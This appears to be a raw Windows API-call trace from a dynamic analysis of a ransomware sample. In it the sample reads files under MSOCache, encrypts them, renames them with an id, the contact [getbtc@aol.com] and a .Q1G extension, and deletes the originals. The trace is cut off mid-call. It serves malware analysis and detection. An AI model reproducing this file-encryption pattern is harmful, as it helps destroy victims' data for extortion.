lstrlenW (lpString=".zip") returned 4 [0048.833] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0048.834] lstrlenW (lpString=".rar") returned 4 [0048.834] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0048.834] lstrlenW (lpString=".bz2") returned 4 [0048.834] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0048.834] lstrlenW (lpString=".7z") returned 3 [0048.834] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0048.834] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0048.834] lstrlenW (lpString=".dbf") returned 4 [0048.834] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0048.834] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0048.834] lstrlenW (lpString=".1cd") returned 4 [0048.834] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0048.834] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0048.834] lstrlenW (lpString=".jpg") returned 4 [0048.834] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0048.834] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0048.834] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0048.834] lstrlenW (lpString=".doc") returned 4 [0048.834] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0048.834] lstrlenW (lpString=".docx") returned 5 [0048.834] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0048.834] lstrlenW (lpString=".pdf") returned 4 [0048.834] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0048.834] lstrlenW (lpString=".xls") returned 4 [0048.834] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0048.834] lstrlenW (lpString=".xlsx") returned 5 [0048.834] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0048.834] lstrlenW (lpString=".ppt") returned 4 [0048.834] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0048.834] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0048.834] lstrlenW (lpString=".zip") returned 4 [0048.834] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0048.834] lstrlenW (lpString=".rar") returned 4 [0048.834] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0048.834] lstrlenW (lpString=".bz2") returned 4 [0048.834] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0048.835] lstrlenW (lpString=".7z") returned 3 [0048.835] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0048.835] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0048.835] lstrlenW (lpString=".dbf") returned 4 [0048.835] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0048.835] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0048.835] lstrlenW (lpString=".1cd") returned 4 [0048.835] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0048.835] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0048.835] lstrlenW (lpString=".jpg") returned 4 [0048.835] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0048.835] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Q1G") returned 1 [0048.835] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0048.835] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0048.835] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x34dff1c | out: lpFileSize=0x34dff1c*=715834) returned 1 [0048.835] CloseHandle (hObject=0x1c8) returned 1 [0048.835] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0048.835] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0048.836] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0048.836] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec8 | out: lpNewFilePointer=0x0) returned 1 [0048.836] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec8 | out: lpNewFilePointer=0x0) returned 1 [0048.836] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0048.836] GetLastError () returned 0x0 [0048.836] ReadFile (in: hFile=0x1c8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x34dfed4*=0xaec3a, lpOverlapped=0x0) returned 1 [0048.850] WriteFile (in: hFile=0x200, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x34dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x34dfc9c*=0xaec40, lpOverlapped=0x0) returned 1 [0049.147] ReadFile (in: hFile=0x1c8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x34dfed4*=0x0, lpOverlapped=0x0) returned 1 [0049.147] WriteFile (in: hFile=0x200, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x34dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x34dfc9c*=0x104, lpOverlapped=0x0) returned 1 [0049.163] SetEndOfFile (hFile=0x200) returned 1 [0049.163] CloseHandle (hObject=0x200) returned 1 [0049.164] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.164] SetEndOfFile (hFile=0x1c8) returned 1 [0049.171] CloseHandle (hObject=0x1c8) returned 1 [0049.172] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0049.172] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1 [0049.190] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0049.190] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0049.190] lstrlenW (lpString=".doc") returned 4 [0049.190] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0049.190] lstrlenW (lpString=".docx") returned 5 [0049.190] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0049.190] lstrlenW (lpString=".pdf") returned 4 [0049.190] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0049.190] lstrlenW (lpString=".xls") returned 4 [0049.190] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0049.190] lstrlenW (lpString=".xlsx") returned 5 [0049.190] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0049.190] lstrlenW (lpString=".ppt") returned 4 [0049.190] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0049.190] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0049.190] lstrlenW (lpString=".zip") returned 4 [0049.190] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0049.190] lstrlenW (lpString=".rar") returned 4 [0049.190] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0049.190] lstrlenW (lpString=".bz2") returned 4 [0049.191] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0049.191] lstrlenW (lpString=".7z") returned 3 [0049.191] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0049.191] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0049.191] lstrlenW (lpString=".dbf") returned 4 [0049.191] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0049.191] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0049.191] lstrlenW (lpString=".1cd") returned 4 [0049.191] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0049.191] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0049.191] lstrlenW (lpString=".jpg") returned 4 [0049.191] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0049.191] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0049.191] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0049.191] lstrlenW (lpString=".doc") returned 4 [0049.191] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0049.191] lstrlenW (lpString=".docx") returned 5 [0049.191] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0049.191] lstrlenW (lpString=".pdf") returned 4 [0049.191] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0049.191] lstrlenW (lpString=".xls") returned 4 [0049.191] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0049.191] lstrlenW (lpString=".xlsx") returned 5 [0049.191] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0049.191] lstrlenW (lpString=".ppt") returned 4 [0049.191] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0049.191] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0049.191] lstrlenW (lpString=".zip") returned 4 [0049.191] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0049.191] lstrlenW (lpString=".rar") returned 4 [0049.191] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0049.191] lstrlenW (lpString=".bz2") returned 4 [0049.191] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0049.191] lstrlenW (lpString=".7z") returned 3 [0049.192] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0049.192] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0049.192] lstrlenW (lpString=".dbf") returned 4 [0049.192] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0049.192] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0049.192] lstrlenW (lpString=".1cd") returned 4 [0049.192] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0049.192] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0049.192] lstrlenW (lpString=".jpg") returned 4 [0049.192] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0049.192] lstrcmpiW (lpString1=".cab", lpString2=".Q1G") returned -1 [0049.192] lstrlenW (lpString="ProPrWW2.cab") returned 12 [0049.192] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0049.192] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x34dff1c | out: lpFileSize=0x34dff1c*=222948913) returned 1 [0049.192] CloseHandle (hObject=0x200) returned 1 [0049.192] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab")) returned 0x2020 [0049.192] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0049.193] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[getbtc@aol.com].q1g")) returned 1 [0049.401] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0049.401] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc6c | out: lpNewFilePointer=0x0) returned 1 [0049.401] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc2c | out: lpNewFilePointer=0x0) returned 1 [0049.401] ReadFile (in: hFile=0x200, lpBuffer=0x3ca0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ca0058*, lpNumberOfBytesRead=0x34dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.408] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x46dfa10, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc2c | out: lpNewFilePointer=0x0) returned 1 [0049.408] ReadFile (in: hFile=0x200, lpBuffer=0x3ce0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ce0058*, lpNumberOfBytesRead=0x34dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.412] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x34dfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0049.412] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0xd45ee31, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc2c | out: lpNewFilePointer=0x0) returned 1 [0049.412] ReadFile (in: hFile=0x200, lpBuffer=0x3d20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3d20058*, lpNumberOfBytesRead=0x34dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.692] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.692] WriteFile (in: hFile=0x200, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x34dfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x34dfcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0049.711] SetEndOfFile (hFile=0x200) returned 1 [0049.711] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3ed0050 [0049.712] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc7c | out: lpNewFilePointer=0x0) returned 1 [0049.712] WriteFile (in: hFile=0x200, lpBuffer=0x3ed0050*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34dfc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed0050*, lpNumberOfBytesWritten=0x34dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.712] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x46dfa10, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc7c | out: lpNewFilePointer=0x0) returned 1 [0049.712] WriteFile (in: hFile=0x200, lpBuffer=0x3ed0050*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34dfc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed0050*, lpNumberOfBytesWritten=0x34dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.715] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0xd45ee31, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc7c | out: lpNewFilePointer=0x0) returned 1 [0049.715] WriteFile (in: hFile=0x200, lpBuffer=0x3ed0050*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34dfc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed0050*, lpNumberOfBytesWritten=0x34dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.717] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3ed0050 | out: hHeap=0x510000) returned 1 [0049.717] CloseHandle (hObject=0x200) returned 1 [0049.717] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0049.717] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0049.717] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0049.717] lstrlenW (lpString=".doc") returned 4 [0049.718] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0049.718] lstrlenW (lpString=".docx") returned 5 [0049.718] lstrcmpiW (lpString1=".docx", lpString2="2.cab") returned -1 [0049.718] lstrlenW (lpString=".pdf") returned 4 [0049.718] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0049.718] lstrlenW (lpString=".xls") returned 4 [0049.718] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0049.718] lstrlenW (lpString=".xlsx") returned 5 [0049.718] lstrcmpiW (lpString1=".xlsx", lpString2="2.cab") returned -1 [0049.718] lstrlenW (lpString=".ppt") returned 4 [0049.718] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0049.718] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0049.718] lstrlenW (lpString=".zip") returned 4 [0049.718] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0049.718] lstrlenW (lpString=".rar") returned 4 [0049.718] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0049.718] lstrlenW (lpString=".bz2") returned 4 [0049.718] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0049.718] lstrlenW (lpString=".7z") returned 3 [0049.718] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0049.718] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0049.718] lstrlenW (lpString=".dbf") returned 4 [0049.718] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0049.718] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0049.718] lstrlenW (lpString=".1cd") returned 4 [0049.718] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0049.718] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0049.718] lstrlenW (lpString=".jpg") returned 4 [0049.718] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0049.718] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0049.718] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0049.718] lstrlenW (lpString=".doc") returned 4 [0049.718] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0049.718] lstrlenW (lpString=".docx") returned 5 [0049.718] lstrcmpiW (lpString1=".docx", lpString2="2.cab") returned -1 [0049.718] lstrlenW (lpString=".pdf") returned 4 [0049.719] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0049.719] lstrlenW (lpString=".xls") returned 4 [0049.719] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0049.719] lstrlenW (lpString=".xlsx") returned 5 [0049.719] lstrcmpiW (lpString1=".xlsx", lpString2="2.cab") returned -1 [0049.719] lstrlenW (lpString=".ppt") returned 4 [0049.719] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0049.719] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0049.719] lstrlenW (lpString=".zip") returned 4 [0049.719] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0049.719] lstrlenW (lpString=".rar") returned 4 [0049.719] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0049.719] lstrlenW (lpString=".bz2") returned 4 [0049.719] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0049.719] lstrlenW (lpString=".7z") returned 3 [0049.719] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0049.719] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0049.719] lstrlenW (lpString=".dbf") returned 4 [0049.719] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0049.719] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0049.719] lstrlenW (lpString=".1cd") returned 4 [0049.719] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0049.719] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0049.719] lstrlenW (lpString=".jpg") returned 4 [0049.719] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0049.719] lstrcmpiW (lpString1=".dll", lpString2=".Q1G") returned -1 [0049.719] lstrlenW (lpString="osetup.dll") returned 10 [0049.719] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0049.720] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x34dff1c | out: lpFileSize=0x34dff1c*=7378792) returned 1 [0049.720] CloseHandle (hObject=0x200) returned 1 [0049.720] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0049.720] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0049.720] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 1 [0049.721] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0049.721] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc6c | out: lpNewFilePointer=0x0) returned 1 [0049.721] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc2c | out: lpNewFilePointer=0x0) returned 1 [0049.721] ReadFile (in: hFile=0x200, lpBuffer=0x3ca0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ca0058*, lpNumberOfBytesRead=0x34dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.847] SetFilePointerEx (in: hFile=0x200, 